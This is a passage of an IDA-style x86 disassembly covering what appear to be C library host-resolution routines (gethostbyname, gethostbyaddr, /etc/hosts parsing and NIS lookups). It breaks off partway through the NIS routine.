		cmp	dword_807851C, 0
		jz	short loc_804C18D
		push	esi
		call	reorder_addrs
		add	esp, 4

loc_804C18D:				; CODE XREF: gethostbyname+1F9j
					; gethostbyname+202j
		test	esi, esi
		jnz	short loc_804C1FA
		jmp	short loc_804C20C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C194:				; CODE XREF: gethostbyname+123j
		cmp	ds:dword_807A348, 0
		jz	short loc_804C1C8
		mov	edx, [ebp+arg_0]
		push	edx
		call	strdup
		mov	ebx, eax
		push	ebx
		call	dotrimdomain
		push	offset aHosts_byname ; "hosts.byname"
		push	ebx
		call	_getnishost
		mov	esi, eax
		push	ebx
		call	free
		add	esp, 14h
		jmp	short loc_804C1DB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C1C8:				; CODE XREF: gethostbyname+21Bj
		push	offset aHosts_byname ; "hosts.byname"
		mov	edx, [ebp+arg_0]
		push	edx
		call	_getnishost
		mov	esi, eax
		add	esp, 8

loc_804C1DB:				; CODE XREF: gethostbyname+244j
		cmp	ds:dword_8079DE8, 0
		jz	short loc_804C1F6
		cmp	dword_807851C, 0
		jz	short loc_804C1F6
		push	esi
		call	reorder_addrs
		add	esp, 4

loc_804C1F6:				; CODE XREF: gethostbyname+262j
					; gethostbyname+26Bj
		test	esi, esi
		jz	short loc_804C20C

loc_804C1FA:				; CODE XREF: gethostbyname+1ADj
					; gethostbyname+20Fj
		mov	ds:dword_807E788, 0
		push	esi
		call	trim_domains
		jmp	short loc_804C227
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C20C:				; CODE XREF: gethostbyname+211j
					; gethostbyname+278j
		mov	ds:dword_807E788, 1

loc_804C216:				; CODE XREF: gethostbyname+118j
					; gethostbyname+129j ...
		inc	edi
		cmp	ds:dword_8079DD4[edi*4], 0
		jnz	loc_804C078

loc_804C225:				; CODE XREF: gethostbyname+49j
					; gethostbyname+EFj ...
		xor	eax, eax

loc_804C227:				; CODE XREF: gethostbyname+AEj
					; gethostbyname+28Aj
		lea	esp, [ebp+var_410]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
gethostbyname	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

gethostbyaddr	proc near

var_614		= byte ptr -614h
var_608		= dword	ptr -608h
var_604		= byte ptr -604h
var_500		= byte ptr -500h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 608h
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_8], 2
		jz	short loc_804C26C
		mov	ds:dword_807E788, 0FFFFFFFFh
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C258:				; CODE XREF: gethostbyaddr+2D3j
		mov	ds:dword_807E788, 0
		mov	eax, edi
		jmp	loc_804C528
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C26C:				; CODE XREF: gethostbyaddr+10j
		cmp	dword_80784F8, 0
		jnz	short loc_804C27A
		call	init_services_resolv

loc_804C27A:				; CODE XREF: gethostbyaddr+3Fj
		call	sub_805E954
		xor	esi, esi
		cmp	ds:dword_8079DD4, 0
		jz	loc_804C526
		lea	ebx, [ebp+var_500]
		lea	ecx, [ebp+var_604]
		mov	[ebp+var_608], ecx

loc_804C2A0:				; CODE XREF: gethostbyaddr+2ECj
		mov	eax, ds:dword_8079DD4[esi*4]
		cmp	eax, 2
		jz	loc_804C4BC
		jg	short loc_804C2BC
		cmp	eax, 1
		jz	short loc_804C2CC
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C2BC:				; CODE XREF: gethostbyaddr+7Cj
		cmp	eax, 3
		jz	loc_804C4D4
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C2CC:				; CODE XREF: gethostbyaddr+81j
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+3]
		push	eax
		push	offset aU_U_U_U_inAddr ; "%u.%u.%u.%u.in-addr.arpa"
		push	ebx
		call	sprintf
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	0Ch
		push	1
		push	ebx
		call	sub_804DFE0
		add	esp, 2Ch
		test	eax, eax
		jge	short loc_804C32C
		test	byte ptr dword_807854C,	2
		jz	loc_804C517
		push	offset aRes_queryFaile ; "res_query failed\n"
		call	printf
		add	esp, 4
		jmp	loc_804C517
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C32C:				; CODE XREF: gethostbyaddr+D4j
		push	0Ch
		push	1
		push	ebx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	getanswer
		mov	edi, eax
		add	esp, 14h
		test	edi, edi
		jz	loc_804C50D
		cmp	dword_8078514, 0
		jz	loc_804C480
		mov	edx, [edi]
		xor	al, al
		mov	edi, edx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	esi, [eax-1]
		cmp	esi, 0FFh
		jg	loc_804C526
		push	edx
		mov	ecx, [ebp+var_608]
		push	ecx
		call	strcpy
		mov	byte ptr [esi+ebp-604h], 2Eh
		mov	byte ptr [esi+ebp-603h], 0
		mov	ebx, dword_8078520
		mov	dword_8078520, 0
		mov	ecx, [ebp+var_608]
		push	ecx
		call	gethostbyname
		mov	edi, eax
		mov	dword_8078520, ebx
		mov	byte ptr [esi+ebp-604h], 0
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_804C3DF
		mov	eax, [edi]
		push	eax
		mov	ecx, [ebp+var_608]
		push	ecx
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_804C3F0

loc_804C3DF:				; CODE XREF: gethostbyaddr+193j
		mov	ds:dword_807E788, 1
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C3F0:				; CODE XREF: gethostbyaddr+1A9j
		mov	ebx, [edi+10h]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C41B

loc_804C3F8:				; CODE XREF: gethostbyaddr+1E5j
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [ebx]
		push	eax
		call	sub_8056450
		add	esp, 0Ch
		test	eax, eax
		jz	loc_804C4AA
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C3F8

loc_804C41B:				; CODE XREF: gethostbyaddr+1C2j
		mov	ds:dword_807E788, 1
		cmp	dword_8078518, 0
		jz	loc_804C526
		push	20h
		push	1
		push	offset aResolv	; "resolv"
		call	sub_80552B0
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx+3]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx]
		push	eax
		mov	eax, [edi]
		push	eax
		push	offset aGethostbyaddrS ; "gethostbyaddr: %s != %u.%u.%u.%u, possi"...
		push	10h
		push	0Bh
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax
		push	5
		call	sub_8054EB0
		jmp	loc_804C526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C480:				; CODE XREF: gethostbyaddr+11Ej
		mov	ecx, [ebp+arg_8]
		mov	[edi+8], ecx
		mov	ecx, [ebp+arg_4]
		mov	[edi+0Ch], ecx
		mov	ds:dword_8079DE4, offset dword_807A318
		mov	ds:dword_8079DE8, 0
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		mov	ds:dword_807A318, eax

loc_804C4AA:				; CODE XREF: gethostbyaddr+1D9j
		mov	ds:dword_807E788, 0
		push	edi
		call	trim_domains
		jmp	short loc_804C528
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C4BC:				; CODE XREF: gethostbyaddr+76j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_804CB94
		mov	edi, eax
		add	esp, 0Ch
		jmp	short loc_804C505
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C4D4:				; CODE XREF: gethostbyaddr+8Bj
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx+3]
		push	eax
		movzx	eax, byte ptr [ecx+2]
		push	eax
		movzx	eax, byte ptr [ecx+1]
		push	eax
		movzx	eax, byte ptr [ecx]
		push	eax
		push	offset aU_U_U_U_0 ; "%u.%u.%u.%u"
		push	ebx
		call	sprintf
		push	offset aHosts_byaddr ; "hosts.byaddr"
		push	ebx
		call	_getnishost
		mov	edi, eax
		add	esp, 20h

loc_804C505:				; CODE XREF: gethostbyaddr+29Ej
		test	edi, edi
		jnz	loc_804C258

loc_804C50D:				; CODE XREF: gethostbyaddr+111j
		mov	ds:dword_807E788, 1

loc_804C517:				; CODE XREF: gethostbyaddr+83j
					; gethostbyaddr+91j ...
		inc	esi
		cmp	ds:dword_8079DD4[esi*4], 0
		jnz	loc_804C2A0

loc_804C526:				; CODE XREF: gethostbyaddr+1Cj
					; gethostbyaddr+54j ...
		xor	eax, eax

loc_804C528:				; CODE XREF: gethostbyaddr+30j
					; gethostbyaddr+286j
		lea	esp, [ebp+var_614]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
gethostbyaddr	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804C538	proc near		; CODE XREF: _gethtbyname+7Fp
					; sub_804CB94+Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_8078508, 0
		jnz	short loc_804C55C
		push	offset aR	; "r"
		push	offset aEtcHosts ; "/etc/hosts"
		call	fopen
		mov	dword_8078508, eax
		jmp	short loc_804C567
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C55C:				; CODE XREF: sub_804C538+Aj
		mov	eax, dword_8078508
		push	eax
		call	sub_8054DB8

loc_804C567:				; CODE XREF: sub_804C538+20j
		mov	edx, [ebp+arg_0]
		or	dword_807850C, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_804C538	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804C574	proc near		; CODE XREF: _gethtbyname+1DCp
					; _gethtbyname+1F4p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_8078508, 0
		jz	short loc_804C59E
		cmp	dword_807850C, 0
		jnz	short loc_804C59E
		mov	eax, dword_8078508
		push	eax
		call	fclose
		mov	dword_8078508, 0

loc_804C59E:				; CODE XREF: sub_804C574+Aj
					; sub_804C574+13j
		mov	esp, ebp
		pop	ebp
		retn
sub_804C574	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804C5A4	proc near		; CODE XREF: sub_804BEB0+44p
					; _gethtbyname+8Cp ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		cmp	dword_8078508, 0
		jnz	short loc_804C5E0
		push	offset aR	; "r"
		push	offset aEtcHosts ; "/etc/hosts"
		call	fopen
		mov	dword_8078508, eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C5E0
		mov	ds:dword_807E788, 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_804C6F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C5E0:				; CODE XREF: sub_804C5A4+Cj
					; sub_804C5A4+27j ...
		mov	eax, dword_8078508
		push	eax
		push	400h
		push	offset unk_8079F14
		call	fgets
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_804C610
		mov	ds:dword_807E788, 1
		xor	eax, eax
		jmp	loc_804C6F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804C610:				; CODE XREF: sub_804C5A4+58j
		cmp	byte ptr [esi],	23h
		jz	short loc_804C5E0
		push	offset asc_8067BFB ; "#\n"
		push	esi
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804C5E0
		mov	byte ptr [ebx],	0
		push	offset asc_806791B ; " \t"
		push	esi
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804C5E0
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	ds:dword_8079E84, offset dword_807A340
		mov	ds:dword_807A340, offset unk_807A31C
		push	esi
		call	inet_addr
		mov	edx, eax
		mov	eax, ds:dword_8079E84
		mov	eax, [eax]
		mov	[eax], edx
		mov	ds:dword_8079E80, 4
		mov	ds:dword_8079E7C, 2
		add	esp, 4
		jmp	short loc_804C685
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C684:				; CODE XREF: sub_804C5A4+E4j
					; sub_804C5A4+E9j
		inc	ebx

loc_804C685:				; CODE XREF: sub_804C5A4+DCj
		cmp	byte ptr [ebx],	20h
		jz	short loc_804C684
		cmp	byte ptr [ebx],	9
		jz	short loc_804C684
		mov	ds:dword_8079E74, ebx
		mov	ds:dword_8079E78, offset dword_8079E88
		mov	esi, offset dword_8079E88
		jmp	short loc_804C6C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C6A8:				; CODE XREF: sub_804C5A4+138j
		cmp	byte ptr [ebx],	0
		jz	short loc_804C6DE
		cmp	byte ptr [ebx],	20h
		jz	short loc_804C6DB
		cmp	byte ptr [ebx],	9
		jz	short loc_804C6DB
		cmp	esi, offset unk_8079F10
		jnb	short loc_804C6C4
		mov	[esi], ebx
		add	esi, 4

loc_804C6C4:				; CODE XREF: sub_804C5A4+100j
					; sub_804C5A4+119j
		push	offset asc_806791B ; " \t"
		push	ebx
		call	strpbrk
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804C6DE
		mov	byte ptr [ebx],	0

loc_804C6DB:				; CODE XREF: sub_804C5A4+10Cj
					; sub_804C5A4+111j
		inc	ebx
		jnz	short loc_804C6A8

loc_804C6DE:				; CODE XREF: sub_804C5A4+107j
					; sub_804C5A4+132j
		mov	dword ptr [esi], 0
		mov	ds:dword_807E788, 0
		mov	eax, offset dword_8079E74

loc_804C6F3:				; CODE XREF: sub_804C5A4+35j
					; sub_804C5A4+66j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_804C5A4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

_gethtbyname	proc near		; CODE XREF: gethostbyname+1CFp
					; gethostbyname+1E8p

var_84		= byte ptr -84h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_64], 0
		mov	[ebp+var_4C], offset dword_8079BB8
		mov	[ebp+var_50], offset dword_8079C48
		mov	ds:dword_8079BB8, 0
		mov	ds:dword_8079C48, 0
		mov	[ebp+var_54], offset unk_80793B4
		mov	[ebp+var_58], offset unk_80797B5
		mov	[ebp+var_5C], 401h
		mov	[ebp+var_60], 401h
		mov	ds:dword_8079CEC, 0
		mov	ds:dword_8079CF0, 0
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset unk_8079D78
		call	strcpy
		push	40h
		lea	ebx, [ebp+var_40]
		push	ebx
		call	gethostname
		push	0
		call	sub_804C538
		add	esp, 14h
		mov	[ebp+var_68], ebx
		lea	esi, [esi]

loc_804C788:				; CODE XREF: _gethtbyname+190j
					; _gethtbyname+1D4j
		call	sub_804C5A4
		mov	esi, eax
		test	esi, esi
		jz	loc_804C8D8
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	eax, [esi]
		push	eax
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C7B0
		inc	edi
		jmp	short loc_804C7ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C7B0:				; CODE XREF: _gethtbyname+ACj
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C7ED

loc_804C7B8:				; CODE XREF: _gethtbyname+EFj
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx]
		push	eax
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C7E5
		inc	edi
		mov	ecx, [ebp+arg_0]
		mov	ds:dword_8079CEC, ecx
		mov	eax, [esi]
		push	eax
		push	offset unk_8079D78
		call	strcpy
		add	esp, 8

loc_804C7E5:				; CODE XREF: _gethtbyname+CDj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C7B8

loc_804C7ED:				; CODE XREF: _gethtbyname+AFj
					; _gethtbyname+BAj
		mov	edx, [ebp+var_68]
		push	edx
		mov	eax, [esi]
		push	eax
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C808
		inc	[ebp+var_64]
		jmp	short loc_804C82E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C808:				; CODE XREF: _gethtbyname+102j
		mov	ebx, [esi+4]
		cmp	dword ptr [ebx], 0
		jz	short loc_804C82E

loc_804C810:				; CODE XREF: _gethtbyname+130j
		mov	ecx, [ebp+var_68]
		push	ecx
		mov	eax, [ebx]
		push	eax
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	short loc_804C826
		inc	[ebp+var_64]

loc_804C826:				; CODE XREF: _gethtbyname+125j
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_804C810

loc_804C82E:				; CODE XREF: _gethtbyname+107j
					; _gethtbyname+112j
		test	edi, edi
		jz	short loc_804C888
		cmp	dword_8078510, 0
		jz	loc_804C8F0
		mov	ebx, [esi+0Ch]
		mov	eax, [esi+8]
		mov	ds:dword_8079CE0, eax
		mov	eax, [esi+0Ch]
		mov	ds:dword_8079CE4, eax
		cmp	[ebp+var_5C], ebx
		jl	short loc_804C886
		push	ebx
		mov	edx, [ebp+var_54]
		push	edx
		mov	eax, [esi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	edx, [ebp+var_54]
		mov	ecx, [ebp+var_4C]
		mov	[ecx], edx
		add	ecx, 4
		mov	[ebp+var_4C], ecx
		mov	dword ptr [ecx], 0
		add	edx, ebx
		mov	[ebp+var_54], edx
		sub	[ebp+var_5C], ebx
		add	esp, 0Ch

loc_804C886:				; CODE XREF: _gethtbyname+159j
		xor	edi, edi

loc_804C888:				; CODE XREF: _gethtbyname+134j
		cmp	[ebp+var_64], 0
		jz	loc_804C788
		mov	ebx, [esi+0Ch]
		cmp	[ebp+var_60], ebx
		jl	short loc_804C8C9
		push	ebx
		mov	ecx, [ebp+var_58]
		push	ecx
		mov	eax, [esi+10h]
		mov	eax, [eax]
		push	eax
		call	bcopy
		mov	ecx, [ebp+var_58]
		mov	edx, [ebp+var_50]
		mov	[edx], ecx
		add	edx, 4
		mov	[ebp+var_50], edx
		mov	dword ptr [edx], 0
		add	ecx, ebx
		mov	[ebp+var_58], ecx
		sub	[ebp+var_60], ebx
		add	esp, 0Ch

loc_804C8C9:				; CODE XREF: _gethtbyname+19Cj
		mov	[ebp+var_64], 0
		jmp	loc_804C788
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C8D8:				; CODE XREF: _gethtbyname+95j
		call	sub_804C574
		cmp	ds:dword_8079BB8, 0
		jnz	short loc_804C8FC
		xor	eax, eax
		jmp	loc_804C9D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C8F0:				; CODE XREF: _gethtbyname+13Dj
		call	sub_804C574
		mov	eax, esi
		jmp	loc_804C9D4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804C8FC:				; CODE XREF: _gethtbyname+1E8j
		mov	ds:dword_8079CDC, offset dword_8079CEC
		mov	ds:dword_8079CD8, offset unk_8079D78
		mov	[ebp+var_6C], 0
		mov	[ebp+var_70], 0FFFFFFFFh
		cmp	ds:dword_8079C48, 0
		jz	short loc_804C9A3
		mov	[ebp+var_74], offset dword_8079C48
		lea	esi, [esi]

loc_804C930:				; CODE XREF: _gethtbyname+2A5j
		xor	edi, edi
		cmp	ds:dword_8079BB8, 0
		jz	short loc_804C997
		mov	esi, offset dword_8079BB8

loc_804C940:				; CODE XREF: _gethtbyname+299j
		mov	eax, ds:dword_8079CE4
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		mov	edx, [ebp+var_74]
		mov	eax, [edx]
		push	eax
		call	bcopy
		add	esp, 0Ch
		mov	eax, [ebp+var_44]
		mov	ebx, eax
		xchg	bl, bh
		ror	ebx, 10h
		xchg	bl, bh
		mov	eax, ds:dword_8079CE4
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		mov	eax, [esi]
		push	eax
		call	bcopy
		mov	eax, ebx
		xor	eax, [ebp+var_48]
		mov	[ebp+var_44], eax
		add	esp, 0Ch
		mov	ecx, [ebp+var_70]
		cmp	eax, ecx
		jnb	short loc_804C98E
		mov	[ebp+var_6C], edi
		mov	[ebp+var_70], eax

loc_804C98E:				; CODE XREF: _gethtbyname+28Aj
		add	esi, 4
		inc	edi
		cmp	dword ptr [esi], 0
		jnz	short loc_804C940

loc_804C997:				; CODE XREF: _gethtbyname+23Dj
		add	[ebp+var_74], 4
		mov	edx, [ebp+var_74]
		cmp	dword ptr [edx], 0
		jnz	short loc_804C930

loc_804C9A3:				; CODE XREF: _gethtbyname+229j
		cmp	[ebp+var_6C], 0
		jz	short loc_804C9C5
		mov	ecx, ds:dword_8079BB8
		mov	edx, [ebp+var_6C]
		mov	eax, ds:dword_8079BB8[edx*4]
		mov	ds:dword_8079BB8, eax
		mov	ds:dword_8079BB8[edx*4], ecx

loc_804C9C5:				; CODE XREF: _gethtbyname+2ABj
		mov	ds:dword_8079CE8, offset dword_8079BB8
		mov	eax, offset dword_8079CD8

loc_804C9D4:				; CODE XREF: _gethtbyname+1ECj
					; _gethtbyname+1FBj
		lea	esp, [ebp+var_84]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
_gethtbyname	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

_getnishost	proc near		; CODE XREF: sub_804BEB0+73p
					; gethostbyname+234p ...

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		cmp	dword_807852C, 0
		jnz	short loc_804CA11
		push	offset dword_807852C
		call	sub_805D5F8
		add	esp, 4
		test	eax, eax
		jnz	loc_804CAB1

loc_804CA11:				; CODE XREF: _getnishost+16j
		test	ebx, ebx
		jz	short loc_804CA44
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		push	eax
		push	ebx
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D3A8
		add	esp, 18h
		jmp	short loc_804CAAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CA44:				; CODE XREF: _getnishost+2Fj
		cmp	dword_8078528, 0
		jz	short loc_804CA80
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_8079DD0
		push	offset dword_8079DCC
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D638
		add	esp, 18h
		test	eax, eax
		jnz	short loc_804CAB1
		mov	dword_8078528, 0
		jmp	short loc_804CAB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CA80:				; CODE XREF: _getnishost+67j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_8079DD0
		push	offset dword_8079DCC
		mov	eax, ds:dword_8079DD0
		push	eax
		mov	eax, ds:dword_8079DCC
		push	eax
		push	esi
		mov	eax, dword_807852C
		push	eax
		call	sub_805D814
		add	esp, 20h

loc_804CAAD:				; CODE XREF: _getnishost+5Bj
		test	eax, eax
		jz	short loc_804CAB8

loc_804CAB1:				; CODE XREF: _getnishost+27j
					; _getnishost+8Cj
		xor	eax, eax
		jmp	loc_804CB89
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CAB8:				; CODE XREF: _getnishost+98j
					; _getnishost+CBj
		push	0Ah
		mov	eax, [ebp+var_4]
		push	eax
		call	strchr
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_804CACF
		mov	byte ptr [ebx],	0

loc_804CACF:				; CODE XREF: _getnishost+E6j
		push	offset asc_806791B ; " \t"
		mov	eax, [ebp+var_4]
		push	eax
		call	strpbrk
		mov	ebx, eax
		mov	byte ptr [ebx],	0
		inc	ebx
		mov	ds:dword_8079DC8, offset dword_807A340
		mov	ds:dword_807A340, offset unk_807A31C
		mov	eax, [ebp+var_4]
		push	eax
		call	inet_addr
		mov	edx, eax
		mov	eax, ds:dword_8079DC8
		mov	eax, [eax]
		mov	[eax], edx
		mov	ds:dword_8079DC4, 4
		mov	ds:dword_8079DC0, 2
		add	esp, 0Ch
		jmp	short loc_804CB25
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804CB24:				; CODE XREF: _getnishost+144j
					; _getnishost+149j
		inc	ebx

loc_804CB25:				; CODE XREF: _getnishost+13Ej
		cmp	byte ptr [ebx],	20h
		jz	short loc_804CB24
		cmp	byte ptr [ebx],	9
		jz	short loc_804CB24
